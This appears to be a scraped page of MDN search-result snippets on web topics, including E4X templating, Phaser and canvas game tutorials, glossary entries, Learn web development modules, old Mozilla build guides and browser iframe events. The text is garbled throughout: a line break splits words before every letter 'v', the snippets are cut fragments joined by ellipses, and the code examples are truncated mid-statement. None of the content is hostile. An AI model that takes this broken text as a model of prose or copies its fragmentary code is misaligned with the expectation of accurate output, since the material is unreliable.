vigator.useragent + '<\/b><\/p>'); generatereport(document, 'domcore1', 'document'); generatereport(document, 'domcore2', 'document'); generatereport(document, 'domhtml', 'document'); generatereport(document.body.style, 'domcss1', 'document.body.style'); generatereport(document.body.style, 'domcss2', 'document.body.style'); window.onerror = oldonerror; see also browser detection and cro...
-ms-touch-select - Archive of obsolete content
the -ms-touch-select css property is a microsoft extension that toggles the gripper
visual elements that enable touch text selection.
... none the grippers are always off and default touch selection functionality is not pro
vided.
... the -ms-touch-select property should only be used by applications that pro
vide their own selection experience.
... if you choose to hide the grippers, you should ensure that users have a mechanism for selecting text
via touch.
E4X for templating - Archive of obsolete content
while it may be ob
vious after a study of the basics of e4x that it can be used for this purpose, if one adds a few common purpose functions (especially along with the convenience of javascript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating).
...(typeof s === 'xml') { return s.tostring().replace(/"/g, '"').replace(/'/g, '''); } return string(s).replace(/"/g, '"').replace(/'/g, '''); } localization e4x works nicely with a simple utility for localizing strings of a properties file: // localization function $s(msg, args){ //get localized message var strs = cc['@mozilla.org/intl/stringbundle;1'].getser
vice(ci.nsistringbundleser
vice).
... } else { lev = arr; h = max; arr = min; max = number.positive_infinity; min = 1; } if (h.length === 1) { for (k in arr) { if (it < min) { ++it; continue; } if (it > max) { break; } ret+=h(arr[k], it, lev); // need to get it or lev
via arguments[] since our length detection implies no explicit additional params; otherwise define with more than one param (see below) ++it; } } else { for (k in arr) { if (it < min) { ++it; continue; } if (it > max) { break; } ret+=h(k, arr[k], it, lev); ...
...e of this, if formatted well, it can also allow inline shaping of xml somewhat akin to the w3c standard xquery language, allowing the scripting to mix in context with the surrounding declarative xml: var a = <a><b/><c/><d/></a>; var b = <bar>{function () { var content = <></>; for each (var el in a) { el.@att = 'val'; content += el; } return content; }()}</bar>; gi
ving: <bar> <b att="val"/> <c att="val"/> <d att="val"/> </bar> one may still wish to remove complex business logic and supply as variables to the e4x, but the above allows the shaping of resulting content to be made more clear (and sometimes design logic also calls for extra processing).
VBArray - Archive of obsolete content
the vbarray object pro
vides access to
visual basic safe arrays.
...this can only be done by retrie
ving the value from an existing activex or other object.
...the first part is vbscript code to create a
visual basic safe array.
... the second part is javascript code that converts the
visual basic safe array to a javascript array.
Examples - Archive of obsolete content
</p> <p> this document references css rules contained in an external stylesheet
via <code>link</code>.
... </p> <p> this document references css rules contained in an external stylesheet
via <code>link</code>.
... </p> <p> this document references css rules contained in an external stylesheet
via <code>link</code>.
... back to the article stylesheet /* * if you try to
view the results of these examples, * you will need to put a file named style.css with * the following content in the same directory as * the examples.
Server-Side JavaScript - Archive of obsolete content
sounds ob
vious, but for at least the first twelve years of the web's evolution, developers have pretty much had to use different languages on the server from those available in the browser, leading to segregated teams, disparate and inconsistent know-how, and plenty of server-side string manipulation gymnastics to generate html or ajax pages.
... the simplicity of using javascript on the server was part of netscape's original
vision back in the day with netscape livewire.
...today with computing cycles ha
ving increased more than 10-fold and mozilla's work on rhino (javascript interpreter in java) and spidermonkey (javascript interpreter in c) and javascript itself, we have very solid foundations for javascript to be extraordinarily useful and applicable on the server-side again -- with performance in the same range as popular server-side en
vironments like php and ruby on rails.
...server-side javascript is another way in which, as this article quotes eich, "mozilla wants to 'get people thinking about javascript as a more general-purpose language' and show them that 'it really is a platform for writing full applications.'" many vendors today are embedding mozilla rhino or mozilla spidermonkey into web server en
vironments.
XQuery - Archive of obsolete content
while xquery is currently not supported in firefox (whether through javascript to developers or to browser users), at least one extension has been developed to give a preliminary support for xquery for browser users (and ser
ving as a simple model for how xquery can be implemented within extensions).
... notes for developers wishing to access xquery in their own extensions at present, the extension works simply by using liveconnect to work with berkeley db xml's java api (and
via a java wrapper class which circumvents liveconnect's current inability to handle some types of java exceptions properly).
... however, use of the approach of the java firefox extension might be used to turn the above extension concept into an xpcom component (gi
ving it access to all open windows), and for berkeley db xml, possibly implementing it in c++ instead, which is that database's original language of development.
... however, the extension demonstrates a technique which does not depend on using xpcom, while still gi
ving full pri
vileges.
Using the DOM File API in chrome code - Extensions
this only works from pri
vileged code, so web content can't do it.
...if you pass a path to the file constructor from unpri
vileged code (such as web content), an exception will be thrown.
... accessing files in a special directory you can also use the directory ser
vice to obtain and build the path to a file to access.
...you can do so like this: var dsfile = components.classes["@mozilla.org/file/directory_ser
vice;1"] .getser
vice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); dsfile.append("myfilename.txt"); var file = file.createfromnsifile(dsfile); this uses the directory ser
vice to locate the profile directory (with the location key "profd", see below for more details), then appends the name of the file we want to work with by calling nsifile.append().
WebRTC data channels - Game development
the webrtc (web real-time communications) api is primarily known for its support for audio and
video communications; however, it also offers peer-to-peer data channels.
...this article, however, will take advantage of some libraries that can help tri
vialize the work, and will demonstrate ways to use abstraction to work around implementation differences between browsers.
...this library pro
vides a simple api for creating peer connections and setting up streams and data channels.
... there's also a broker server component and a hosted broker you can use instead of ha
ving to set one up for yourself.
Create the Canvas and draw on it - Game development
« pre
viousnext » this is the 1st step out of 10 of the gamedev canvas tutorial.
...add this below your pre
vious lines of javascript, then load your index.html in a browser to try it out.
...try adding this to the bottom of your javascript, sa
ving and refreshing: ctx.beginpath(); ctx.arc(240, 160, 20, 0, math.pi*2, false); ctx.fillstyle = "green"; ctx.fill(); ctx.closepath(); as you can see we're using the beginpath() and closepath() methods again.
... « pre
viousnext » ...
Paddle and keyboard controls - Game development
« pre
viousnext » this is the 4th step out of 10 of the gamedev canvas tutorial.
... the ball is bouncing off the walls freely and you can watch it indefinitely, but currently there's no interacti
vity.
... the paddle mo
ving logic we've now set up the variables for storing the info about the pressed keys, event listeners, and relevant functions.
... « pre
viousnext » ...
Animations and tweens - Game development
« pre
viousnext » this is the 14th step out of 16 of the gamedev phaser tutorial.
...the spritesheet() method's two extra paremeters determine the width and height of each single frame in the given spritesheet file, indicating to the program how to chop it up to get the indi
vidual frames.
...update the first line inside update() as shown below: function update() { game.physics.arcade.collide(ball, paddle, ballhitpaddle); game.physics.arcade.collide(ball, bricks, ballhitbrick); paddle.x = game.input.x || game.world.width*0.5; } then we can create the ballhitpaddle() function (ha
ving ball and paddle as default parameters), playing the wobble animation when it is called.
... « pre
viousnext » ...
Build the brick field - Game development
« pre
viousnext » this is the 9th step out of 16 of the gamedev phaser tutorial.
... defining new variables first, let's define the needed variables — add the following below your pre
vious variable definitions: var bricks; var newbrick; var brickinfo; the bricks variable will be used to create a group, newbrick will be a new object added to the group on every iteration of the loop, and brickinfo will store all the data we need.
... now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on each iteration — add the following nested loop below the pre
vious line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { // create new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group.
... « pre
viousnext » ...
Game over - Game development
« pre
viousnext » this is the 8th step out of 16 of the gamedev phaser tutorial.
... how to lose to pro
vide the ability to lose, we will disable the ball's collision with the bottom edge of the screen.
...add the following lines just below the pre
vious new one: ball.checkworldbounds = true; ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); adding those lines will make the ball check the world (in our case canvas) bounds and execute the function bound to the onoutofbounds event.
... « pre
viousnext » ...
Load the assets and print them on screen - Game development
« pre
viousnext » this is the 3rd step out of 16 in the gamedev phaser tutorial.
... ha
ving a ball let's start by creating a javascript variable to represent our ball.
... compare your code you can check the finished code for this lesson for yourself in the live demo below, and play with it to better understand how it works: next steps printing out the ball was easy; next, we'll try mo
ving the ball on screen.
... « pre
viousnext » ...
Randomizing gameplay - Game development
« pre
vious this is the 16th step out of 16 of the gamedev phaser tutorial.
...it's a basic intro scratching the surface of the countless helpful methods that phaser pro
vides.
... be sure to check the ever growing list of examples and the official documentation, and
visit the html5 gamedevs forums if you ever need any help.
... « pre
vious ...
Tutorials - Game development
along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and mo
ving images, collision detection, control machanisms, and winning and losing states.
... 2d breakout game using phaser in this step-by-step tutorial you'll implement the same breakout clone as the pre
vious tutorial series, except that this time you'll do it using thephaser html5 game framework.
... 2d maze game with de
vice orientation this tutorial shows how to create a 2d maze game using html5, incorporating fundamentals such as collision detection and sprite placement on a <canvas>.
... this is a mobile game that uses the de
vice orientation and
vibration apis to enhance the gameplay and is built using the phaser framework.
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
3g 270ms 700 kbps the network is suited for transfers of large assets such as high resolution images, audio, and sd
video.
... 4g 0ms ∞ the network is suited for hd
video, real-time
video, etc.
... effectivetype is a property of the network information api, exposed to javascript
via the na
vigator.connection object.
... to see your effective connection type, open the console of the developer tools of a supporting browser and enter the following: na
vigator.connection.effectivetype; see also: network information api networkinformation networkinformation.effectivetype ...
Host - MDN Web Docs Glossary: Definitions of Web-related terms
a host is a de
vice connected to the internet (or a local network).
... some hosts called servers offer additional ser
vices like ser
ving webpages or storing files and emails.
...it can be generated by
virtual machines.
... the host generated by
virtual machines is called "
virtual hosting".
Media (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
typically, this is a screen—but it may also be a printer, a speech synthesizer, braille display, or another type of de
vice.
... css offers several features that allow you to tweak your document's styles—or even offer different styles—according to the media type (such as screen or print, to name two) or media capabilities (such as width, resolution, or other values) of the
viewer's de
vice.
... learn more general knowledge using media queries technical reference media queries define a set of characteristics or parameters required to apply the css styles that are specified within the curly braces of the media query; for example: only applying certain css styles for de
vices below 768 pixels.
... window.matchmedia() test the
viewing de
vice against a media query.
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
for example, nans can represent infinity, result of di
vision by zero, missing value, or the square root of a negative (which is imaginary, whereas a floating-point number is real).
... practically speaking, if i di
vide two variables in a javascript program, the result may be nan, which is predefined in javascript as "undefined".
... hence this di
vision may break the program.
...fortunately, since the result will be nan and i know my di
visor may turn out to be 0, i can set up testing conditions that prevent any such computations in the first place or notify me of where they happen.
Page load time - MDN Web Docs Glossary: Definitions of Web-related terms
page load time is the time it takes for a page to load, measured from na
vigation start to the start of the load event.
... let time = performance.timing; let pageloadtime = time.loadeventstart - time.na
vigationstart; while page load time 'sounds' like the perfect web performance metric, it isn't.
... load times can vary greatly between users depending on de
vice capabilities, network conditions, and, to a lesser extent, distance from the server.
... the development en
vironment, where page load time is measured, is likely an optimal experience, not reflective of your users' reality.
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
this allows slow, complex, or long-running tasks to be executed independently of the main thread, preser
ving the overall performance of the site or app—as well as that of the browser overall.
... this also allows indi
viduals to take advantage of modern multi-core processors.
... a special type of worker, called a ser
vice worker, can be created which can be left behind by a site—with the user's permission—to run even when the user isn't currently using that site.
...such as notifying a user they have received new email even though they're not currently logged into their mail ser
vice.
WebRTC - MDN Web Docs Glossary: Definitions of Web-related terms
webrtc (web real-time communication) is an api that can be used by
video-chat, voice-calling, and p2p-file-sharing web apps.
... webrtc consists mainly of these parts: getusermedia() grants access to a de
vice's camera and/or microphone, and can plug in their signals to a rtc connection.
... rtcpeerconnection an interface to configure
video chat or voice calls.
... rtcdatachannel pro
vides a method to set up a peer-to-peer data pathway between browsers.
Attribute selectors - Learn web development
pre
vious over
view: building blocks next as you know from your study of html, elements can have attributes that give further detail about the element being marked up.
... case-sensiti
vity if you want to match attribute values case-insensitively you can use the value i before the closing bracket.
...without the flag the values will be matched according to the case-sensiti
vity of the document language — in html's case it will be case sensitive.
... pre
vious over
view: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables ...
Combinators - Learn web development
pre
vious over
view: building blocks next the final selectors we will look at are called combinators, because they combine other selectors in a way that gives them a useful relationship to each other and the location of content in the document.
... using combinators you can combine any of the selectors that we discovered in pre
vious lessons with combinators in order to pick out part of your document.
... mo
ving on this is the last section in our lessons on selectors.
... pre
vious over
view: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS selectors - Learn web development
pre
vious over
view: building blocks next in css, selectors are used to target the html elements on our web pages that we want to style.
... selector lists if you have more than one thing which uses the same css then the indi
vidual selectors can be combined into a selector list so that the rule is applied to all of the indi
vidual selectors.
...the
visual display should be the same after combining them.
... pre
vious over
view: building blocks next reference table of selectors the below table gives you an over
view of the selectors you have available to use, along with links to the pages in this guide which will show you how to use each type of selector.
CSS first steps - Learn web development
this module pro
vides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
...looking at it, consuming the content.) a basic work en
vironment set up as detailed in installing basic software, and an understanding of how to create and manage files, as detailed in dealing with files.
... note: if you are working on a computer/tablet/other de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... guides this module contains the following articles, which will take you through all the basic theory of css, and pro
vide opportunities for you to test out some skills.
Styling lists - Learn web development
pre
vious over
view: styling text next lists behave like any other text for the most part, but there are some css properties specific to lists that you need to know about, and some best practices to consider.
... rule 4 sets the same line-height on the paragraphs and list items — so the paragraphs and each indi
vidual list item will have the same spacing between lines.
...we also make the description terms have bold font, so they
visually stand out easier.
...we've pro
vided you with the html, and we want you to: give the unordered list square bullets.
What HTML features promote accessibility? - Learn web development
tabbing users who do not or cannot use pointing de
vices can tab through links and, as such, links should be in a logical tabbing order.
...<a href="inept.html" title="why i'm rubbish at writing link text: an explanation and an apology.">click here</a> to find out more.</p> access keys access keys pro
vide easier na
vigation by assigning a keyboard shortcut to a link, which will usually gain focus when the user presses alt or ctrl + the access key.
...you might want to allow someone to jump over a plethora of na
vigation links, for example, so they can just read a page’s main content rather than cycle through all of the links.
... <header> <h1>the heading</h1> <a href="#content">skip to content</a> </header> <nav> <!-- na
vigation stuff --> </nav> <section id="content"> <!--your content --> </section> ...
How do you set up a local testing server? - Learn web development
and na
vigating to the html file.
...in contrast, if you
view one of our examples hosted on github (or an example on some other remote server), the web address will start with http:// or https://, to show that the file has been received
via http.
...if this is ok, na
vigate to the directory that your example is inside, using the cd command.
...at this point you should be able to run the python flask examples using for example python3 python-example.py, then na
vigating to localhost:5000 in your browser.
CSS property compatibility table for form controls - Learn web development
rendering for each property there are two possible renderings: n (normal) indicates that the property is applied as it is t (tweaked) indicates that the property is applied with the extra rule below: * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */ background: none; } compatibility tables global beha
viors some beha
viors are common to many browsers at a global level: border, background, border-radius, height using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers.
... text-decoration partial[1] partial[1] only firefox pro
vides full support for this property.
... border-radius partial[1] partial[1] box-shadow no partial[1] note firefox does not pro
vide any way to change the down arrow on the <select> element.
... border no yes margin yes yes padding partial[1] yes the padding is applied, but has no
visual effect.
Test your skills: Form validation - Learn web development
form validation 1 in this task, we are pro
viding you with a simple support query form, and we want you to add some validation features to it: make all of the input fields mandatory to complete before the form can be submitted.
... form validation 2 now we want you to take the same form you saw in the pre
vious task (use your pre
vious answer if you want to), and add some more specific pattern validation to the first three fields using regular expressions.
... form validation 3 in our final task for this set, we are pro
viding you with a similar example to what you saw in the accompanying article — a simple email address entry input.
...if it doesn't look like an email address or is too short, pro
vide the user with appropriate custom error messages.
Test your skills: Other controls - Learn web development
associate it semantically with the pro
vided "comment" label.
... other controls 2 now it's time to have a go at implementing a drop-down select menu, to allow a user to pick their favourite food from the choices pro
vided.
... associate it semantically with the pro
vided "comment" label.
...however, this time we want to do things differently: create a basic text input that is semantically associated with the pro
vided label.
Use HTML to solve common problems - Learn web development
how to create a basic html document how to di
vide a webpage into logical sections how to set up a proper structure of headings and paragraphs basic text-level semantics html specializes in pro
viding semantic information for a document, so html answers many questions you might have about how to get your message across best in your document.
... how to create a list of items with html how to stress or emphasize content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abbre
viations and make them understandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making na
vigation easy with hyperlinks, which can be used in many different ways: how to create a hyperlink how to create a table of contents with html images & multimedia how to add images to a webpage how to add
video content to a webpage scripting & styling html only sets up document structure.
... how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced problems beyond the basics, html is very rich and offers advanced features for sol
ving complex problems.
...it pro
vides tools to handle common internationalization issues.
Test your skills: Advanced HTML text - Learn web development
advanced html text 1 in this task we want you to turn the pro
vided animals and their definitions into a description list.
... advanced html text 2 in this task we want you to add some semantics to the pro
vided html as follows: turn the second paragraph into a block-level quote, and semantically indicate that the quote is taken from accessibility.
... semantically mark up "html" and "css" as acronyms, pro
viding expansions as tooltips.
... use subscript and superscript to pro
vide correct semantics for the chemical formulae and dates, and make them display correctly.
Structuring the web with HTML - Learn web development
you should have a basic work en
vironment set up as detailed in installing basic software, and understand how to create and manage files, as detailed in dealing with files — both are parts of our getting started with the web complete beginner's module.
... after learning html, you can then move on to learning about more advanced topics such as: css, and how to use it to style html (for example alter your text size and fonts used, add borders and drop shadows, layout your page with multiple columns, add animations and other
visual effects.) javascript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) modules this topic contains the following modules, in a suggested order for working through them.
... multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed
video, audio, and even entire other webpages.
... sol
ving common html problems use html to solve common problems pro
vides links to sections of content explaining how to use html to solve very common problems when creating a webpage: dealing with titles, adding images or
videos, emphasizing content, creating a basic form, etc.
Test your skills: Functions - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all
via javascript.
... functions 1 for the first task, you have to create a simple function — choosename() — that prints a random name from the pro
vided array (names) to the pro
vided paragraph (para), and then run it once.
... functions 2 for our second functions-related task, you need to create a function that draws a rectangle on the pro
vided <canvas> (reference variable canvas, context available in ctx), based on the five pro
vided input variables: x — the x coordinate of the rectangle.
... functions 3 in this task, you return to the problem posed in task 1, with the aim of impro
ving it.
JavaScript building blocks - Learn web development
get started prerequisites before starting this module, you should have some familiarity with the basics of html and css, and you should have also worked through our pre
vious module, javascript first steps.
... note: if you are working on a computer/tablet/other de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
...functions allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than ha
ving to type out the same code multiple times.
... build your own function with most of the essential theory dealt with pre
viously, this article pro
vides a practical experience.
Silly story generator - Learn web development
pre
vious over
view: first steps in this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories.
... project brief you have been pro
vided with some raw html/css and a few text strings and javascript functions; you need to write the necessary javascript to turn this into a working program, which does the following: generates a silly story when the "generate random story" button is pressed.
... if you are unsure whether the javascript is applied to your html properly, try remo
ving everything else from the javascript file temporarily, adding in a simple bit of javascript that you know will create an ob
vious effect, then sa
ving and refreshing.
... pre
vious over
view: first steps in this module what is javascript?
JavaScript performance - Learn web development
pre
vious over
view: performance next while images and
video account for over 70% of the bytes downloaded for the average website, byte per byte, javascript has a greater negative impact on performance.
... similar to images and
video, the best way to improve performance is to omit what is not, in fact, necessary.
... pre
vious over
view: performance next in this module the "why" of web performance what is web performance?
... measuring performance multimedia: images multimedia:
video javascript performance best practices.
Server-side website programming first steps - Learn web development
we then pro
vide an over
view of some of the most popular server-side web frameworks, along with guidance on how to select the most suitable framework for creating your first site.
... finally, we pro
vide a high-level introductory article about web server security.
... client-server over
view now that you know the purpose and potential benefits of server-side programming, we're going to examine in detail what happens when a server receives a "dynamic request" from a browser.
... website security website security requires
vigilance in all aspects of website design and usage.
Mozilla Plugin Accessibility
see the plugin keyboard na
vigation proposal to see how the largest problems can be solved.
...see the plugin keyboard na
vigation proposal for the implementation plan.
...user cannot keyboard na
vigate out of a plugin we will apply the same solution as in problem 4 above.
...in other cases, vendors need to find or be con
vinced of the business justification so that resources are applied to the problem.
Lightweight themes
view a sample theme header here.
...keep in mind that a re
viewer may reject your theme if it is ob
vious that your category and/or tags are unrelated to your theme.
...keep in mind that a re
viewer may reject your theme if your description is not an accurate representation of your theme.
... tip: to ensure that your theme is approved for the gallery, be sure it complies with the content guidelines and terms of ser
vice!
Debugging Table Reflow
reflow the most efficient tool to claim that html-table code is the
victim and not the source of layout bugs is a frame reflow debug log.
... the table layout strategy can be
visualized by defining in the makefiles the constant debug_table_strategy.if one takes for instance the following table code: <table border width="300"> <colgroup> <col> <col width="50%"> <col width="1*"> <col> </colgroup> <tr> <td style="width:80px">cell 1</td> <td>cell 2</td> <td>cell 3</td> <td>cell 4</td> </tr> </table> rendering: <colgroup><col><col width="50%"><col width...
...art col dump** colindex=1 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **start col dump** colindex=2 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **start col dump** colindex=3 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** ***end table dump*** the en stands for entrance (ex for lea
ving a routine).
...lea
ving assignnonpctcolwidths shows that already to all columns a width of 360 twips has been assigned assignnonpctcolwidths ex ***start table dump*** mcolwidths=360 360 360 360 col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 **start col dump** colindex=0 isanonymous=0 constraint=0 widths=360 540 1230 -1 -1 -1 -1 -1 -1 360 **end col dump** **start col dump** colindex=1 isanonymou...
Simple SeaMonkey build
minimum and recommended hardware requirements for mozilla development are: recommended: 8gb of ram (ha
ving only 4gb ram and 4gb swap may give memory errors during compile) 35 gb free disk space.
... this will accomodate
visual studio 2013 community edition, the required sdks, the mozillabuild package, the mercurial source repository and enough free disk space to compile.
... windows: install
visual c++ 2013.
...(if you get a message saying this application did not install properly then you should see a windows dialog gi
ving you the option to re-install with the 'correct settings'.
Simple Sunbird build
windows: if you're using windows xp, you must have windows xp ser
vice pack 2 and .net framework 2.0.
... install
visual c++ 2005 or 2008.
...(if you get a message saying this application did not install properly then you should see a windows dialog gi
ving you the option to re-install with the 'correct settings'.
... building sunbird and lightning if you've set up you build en
vironment as above, then all you need to do is: echo 'ac_add_options --enable-calendar' >> .mozconfig or just add the ac_add_options --enable-calendar line to your .mozconfig with your favourite editor.
Listening to events on all tabs
adding a listener to listen to progress events on all tabs, call the browser's addtabsprogresslistener() method: gbrowser.addtabsprogresslistener(myprogresslistener); myprogresslistener is an object that implements the callbacks used to pro
vide notifications of progress events.
... remo
ving a listener to remove a pre
viously installed progress listener, call removetabsprogresslistener(): gbrowser.removetabsprogresslistener(myprogresslistener); implementing a listener the listener object itself has five methods it can implement to handle various events: onlocationchange called when the uri of the document displayed in the tab changes.
...void onprogresschange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequest arequest, print32 acurselfprogress, print32 amaxselfprogress, print32 acurtotalprogress, print32 amaxtotalprogress ); parameters abrowser the browser representing the tab for which updated progress information is being pro
vided.
... onrefreshattempted notification that a refresh or redirect has been requested in awebprogress for example,
via a <meta http-equiv="refresh"> or an http refresh: header.
Tracking Protection
click the ⓘ symbol in the address bar to
view information about the currently loaded page.
... if tracking cookies were present, you would be able to
view the list by clicking on "blocking tracking cookies" in the above image to
view the following popup: you can click "manage content blocking" to change the blocking settings: how does firefox choose what to block?
... most ob
viously, it means that when tracking protection is enabled: content served from third-party trackers will not be
visible to users your site won't be able to use third-party advertising or analytics ser
vices that engage in tracking more subtly, if other parts of your site depend on trackers being loaded, then these parts will also be broken when tracking protection is enabled.
... for example, you should not use google analytics in the following way: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);">
visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } </script> instead, you should account for the case when google analytics is missing by checking to see if the ga object has initialized: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);">
visit example.com ...
HTMLIFrameElement.getCanGoBack()
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the getcangoback() method of the htmliframeelement interface is used to indicate whether it's possible to go back in the na
vigation history of the browser <iframe>.
...}); returns a promise that resolves with a boolean that equals true if the history can be na
vigated backward or false if not.
... example function canmovebwd() { browser.getcangoback().then(function(result) { if (result) { back.disabled = false; console.log("it's possible to na
vigate the history backward."); } else { back.disabled = true; console.log("it's not possible to na
vigate the history backward."); } }); } specification not part of any specification.
HTMLIFrameElement.getCanGoForward()
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the getcangoforward() method of the htmliframeelement is used to indicate whether it's possible to go forward in the na
vigation history of the browser <iframe>.
...}); returns a promise that resolves with a boolean that equals true if the history can be na
vigated forward or false if not.
... example function canmovefwd() { browser.getcangoforward().then(function(result) { if (result) { fwd.disabled = false; console.log("it's possible to na
vigate the history forward."); } else { fwd.disabled = true; console.log("it's not possible to na
vigate the history forward."); } }); } specification not part of any specification.
mozbrowsercaretstatechanged
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...possible values are
visibilitychange, updateposition, longpressonemptycontent, taponcaret, presscaret, and releasecaret.
... collapsed a boolean indicating whether the current selection is collapsed (true) or not (false.) caret
visible a boolean indicating whether the caret is currently
visible (true) or not (false.) selection
visible a boolean indicating whether the current selection is
visible (true) or not (false.) selectioneditable a boolean indicating whether the current selection is editable (true) or not (false.) selectedtextcontext a domstring containing the currently-selected text content.
... senddocommandmsg a method allowing you to issue a command
via an anonymouse function, i.e.
mozbrowserlocationchange
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the mozbrowserlocationchange event is fired when a browser <iframe>'s location changes — it is fired every time na
vigation occurs.
... cangoback a boolean that defines whether it's possible to go back in the na
vigation history (true) or not (false).
... cangoforward a boolean that defines whether it's possible to go forward in the na
vigation history (true) or not (false).
mozbrowserresize
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the mozbrowserresize event is fired when a browser <iframe>
viewport is resized in some way.
... details the details property returns an anonymous javascript object with the following properties: width a number representing the new width of the <iframe>
viewport, in de
vice pixels.
... height a number representing the new height of the <iframe>
viewport, in de
vice pixels.
ChromeWorker
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... summary if you're developing pri
vileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
... it works exactly like a standard worker, except that it has access to js-ctypes
via a global ctypes object available in the global scope of the worker.
...addons that wish to use file:// urls must first register a resource replacement path, using code like this: var fileuri = ser
vices.io.newfileuri(file); ser
vices.io.getprotocolhandler('resource').
How to implement a custom autocomplete search component
me = "basic autocomplete"; const contract_id = '@mozilla.org/autocomplete/search;1?name=basic-autocomplete'; /** * @constructor * * @implements {nsiautocompleteresult} * * @param {string} searchstring * @param {number} searchresult * @param {number} defaultindex * @param {string} errordescription * @param {array.<string>} results * @param {array.<string>|null=} comments */ function pro
viderautocompleteresult(searchstring, searchresult, defaultindex, errordescription, results, comments) { this._searchstring = searchstring; this._searchresult = searchresult; this._defaultindex = defaultindex; this._errordescription = errordescription; this._results = results; this._comments = comments; } pro
viderautocompleteresult.prototype = { _searchstring: "", _searchresult: 0...
... */ removevalueat: function(index, removefromdb) { this._results.splice(index, 1); if (this._comments) this._comments.splice(index, 1); }, getlabelat: function(index) { return this._results[index]; }, queryinterface: xpcomutils.generateqi([ ci.nsiautocompleteresult ]) }; /** * @constructor * * @implements {nsiautocompletesearch} */ function pro
viderautocompletesearch() { } pro
viderautocompletesearch.prototype = { classid: class_id, classdescription : class_name, contractid : contract_id, /** * searches for a given string and notifies a listener (either synchronously * or asynchronously) of the result * * @param searchstring the string to search for * @param searchparam an extra parameter * @param pre
viousresul...
...t a pre
vious result to use for faster searchinig * @param listener the listener to notify when the search is complete */ startsearch: function(searchstring, searchparam, pre
viousresult, listener) { var results = ['mary', 'john']; var autocomplete_result = new pro
viderautocompleteresult(searchstring, ci.nsiautocompleteresult.result_success, 0, "", results, null); listener.onsearchresult(this, autocomplete_result); }, /** * stops an asynchronous search that is in progress */ stopsearch: function() { }, queryinterface: xpcomutils.generateqi([ ci.nsiautocompletesearch ]) }; // the following line is what xpcom uses to create components const nsgetfactory = xpcomutils.generatensgetfactory([ pro
viderautocompletesearch ]); then register your xpco...
...ns_error_no_interface; return this; } }; // implements nsiautocompletesearch function simpleautocompletesearch() { } simpleautocompletesearch.prototype = { /* * search for a given string and notify a listener (either synchronously * or asynchronously) of the result * * @param searchstring - the string to search for * @param searchparam - an extra parameter * @param pre
viousresult - a pre
vious result to use for faster searchinig * @param listener - a listener to notify when the search is complete */ startsearch: function(searchstring, searchparam, result, listener) { // this autocomplete source assumes the developer attached a json string // to the the "autocompletesearchparam" attribute or "searchparam" property // of the <textbox> element.
How to Report a Hung Firefox
this may be because of a code error within firefox itself, such as a deadlock or infinite loop, or it may be caused by 3rd-party software such as a firefox extension, anti
virus software, or even malware or a
virus on your computer.
... (if you're experiencing high cpu usage and firefox eventually recovers from a hang, you should try the instructions at reporting a performance problem instead.) is the rest of your system busy (high cpu or memory usage, or high disk acti
vity)?
... getser
vice(ci.nsiwindowmediator); let win = wm.getmostrecentwindow("na
